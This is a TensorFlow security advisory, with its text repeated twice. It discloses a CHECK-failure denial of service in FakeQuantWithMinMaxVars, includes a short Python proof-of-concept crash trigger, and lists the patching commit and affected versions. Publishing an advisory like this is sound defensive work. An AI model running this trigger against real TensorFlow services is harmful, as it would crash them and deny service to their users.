Headline
GHSA-9fpg-838v-wpv7: TensorFlow vulnerable to `CHECK` fail in `FakeQuantWithMinMaxVars`
Impact
If FakeQuantWithMinMaxVars
is given min
or max
tensors of a nonzero rank, it results in a CHECK
fail that can be used to trigger a denial of service attack.
import tensorflow as tf
num_bits = 8
narrow_range = False
inputs = tf.constant(0, shape=[2,3], dtype=tf.float32)
min = tf.constant(0, shape=[2,3], dtype=tf.float32)
max = tf.constant(0, shape=[2,3], dtype=tf.float32)
tf.raw_ops.FakeQuantWithMinMaxVars(inputs=inputs, min=min, max=max, num_bits=num_bits, narrow_range=narrow_range)
Patches
We have patched the issue in GitHub commit 785d67a78a1d533759fcd2f5e8d6ef778de849e0.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by:
- Neophytos Christou, Secure Systems Labs, Brown University.
- 刘力源, Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology
Impact
If FakeQuantWithMinMaxVars is given min or max tensors of a nonzero rank, it results in a CHECK fail that can be used to trigger a denial of service attack.
import tensorflow as tf
num_bits = 8 narrow_range = False inputs = tf.constant(0, shape=[2,3], dtype=tf.float32) min = tf.constant(0, shape=[2,3], dtype=tf.float32) max = tf.constant(0, shape=[2,3], dtype=tf.float32) tf.raw_ops.FakeQuantWithMinMaxVars(inputs=inputs, min=min, max=max, num_bits=num_bits, narrow_range=narrow_range)
Patches
We have patched the issue in GitHub commit 785d67a78a1d533759fcd2f5e8d6ef778de849e0.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by:
- Neophytos Christou, Secure Systems Labs, Brown University.
- 刘力源, Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology
References
- GHSA-9fpg-838v-wpv7
- tensorflow/tensorflow@785d67a
- https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0